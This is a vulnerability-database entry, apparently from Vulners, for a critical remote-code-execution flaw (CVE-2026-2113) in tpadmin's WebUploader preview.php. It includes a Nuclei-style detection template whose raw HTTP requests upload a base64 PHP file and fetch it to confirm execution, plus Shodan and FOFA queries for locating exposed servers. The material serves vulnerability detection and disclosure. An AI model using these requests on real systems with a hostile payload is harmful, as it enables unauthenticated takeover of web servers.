tpadmin <= 1.3.12 - Remote Code Execution
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| CVE-2026-2113 | 7 Feb 202621:02 | – | attackerkb | |
| CVE-2026-2113 | 8 Feb 202600:34 | – | circl | |
| tpAdmin 代码问题漏洞 | 7 Feb 202600:00 | – | cnnvd | |
| CVE-2026-2113 | 7 Feb 202621:02 | – | cve | |
| CVE-2026-2113 yuan1994 tpadmin WebUploader preview.php deserialization | 7 Feb 202621:02 | – | cvelist | |
| EUVD-2026-5715 | 7 Feb 202621:02 | – | euvd | |
| tpadmin-CVE-2026-2113-poc | 10 Sep 202617:41 | – | kitploit | |
| CVE-2026-2113 | 7 Feb 202621:15 | – | nvd | |
| 📄 yuan1994 tpadmin Shell Upload | 10 Feb 202600:00 | – | packetstorm | |
| 📄 tpAdmin 1.3.12 Shell Upload | 9 Mar 202600:00 | – | packetstorm |
10
| Source | Link |
|---|---|
| github | www.github.com/yuan1994/tpadmin |
| nvd | www.nvd.nist.gov/vuln/detail/CVE-2026-2113 |
id: CVE-2026-2113
info:
name: tpadmin <= 1.3.12 - Remote Code Execution
author: jankesec
severity: critical
description: |
yuan1994 tpadmin up to version 1.3.12 is vulnerable to Remote Code Execution via unrestricted file upload in the WebUploader preview component (/public/static/admin/lib/webuploader/0.1.5/server/preview.php). An unauthenticated remote attacker can submit base64-encoded PHP payloads leading to arbitrary code execution with web server privileges.
impact: |
Unauthenticated remote attackers can execute arbitrary PHP code on the server, leading to full system compromise.
remediation: |
Delete or restrict access to the preview.php script or upgrade to a patched version.
reference:
- https://github.com/yuan1994/tpadmin
- https://nvd.nist.gov/vuln/detail/CVE-2026-2113
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-2113
epss-score: 0.00574
epss-percentile: 0.45494
cwe-id: CWE-434
metadata:
verified: true
max-request: 2
vendor: yuan1994
product: tpadmin
shodan-query: http.html:"tpadmin"
fofa-query: body="tpadmin"
tags: cve,cve2026,tpadmin,rce,file-upload,webuploader,intrusive
flow: http(1) && http(2)
http:
- raw:
- |
POST /public/static/admin/lib/webuploader/0.1.5/server/preview.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
data:image/php;base64,PD9waHAgZWNobyBtZDUoJ2N2ZS0yMDI2LTIxMTMnKTs/Pg==
- |
POST /static/admin/lib/webuploader/0.1.5/server/preview.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
data:image/php;base64,PD9waHAgZWNobyBtZDUoJ2N2ZS0yMDI2LTIxMTMnKTs/Pg==
stop-at-first-match: true
matchers:
- type: word
part: body
words:
- '"jsonrpc"'
- 'preview/'
condition: and
internal: true
extractors:
- type: regex
name: preview_path
part: body
group: 1
internal: true
regex:
- '"result" : "https?://[^/"]+(/[^"]+\.php)"'
- raw:
- |
GET {{preview_path}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "8d545c3577fdfbf5ae9e254ca893a0ef"
- type: status
status:
- 200
# digest: 4a0a00473045022047b026d8c6b136ce2a0af58ce4e82cbe23ea20c4d00b969762a7e81e3a1f5a5e0221008edb14f33faf04abbe661481e0a06421977cdab54697e8fc7657f79021304a45:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Sep 2026 00:09Current
CVSS 3.17.3 - 9.8
CVSS 46.9
CVSS 27.5
CVSS 37.3
EPSS0.02034
SSVC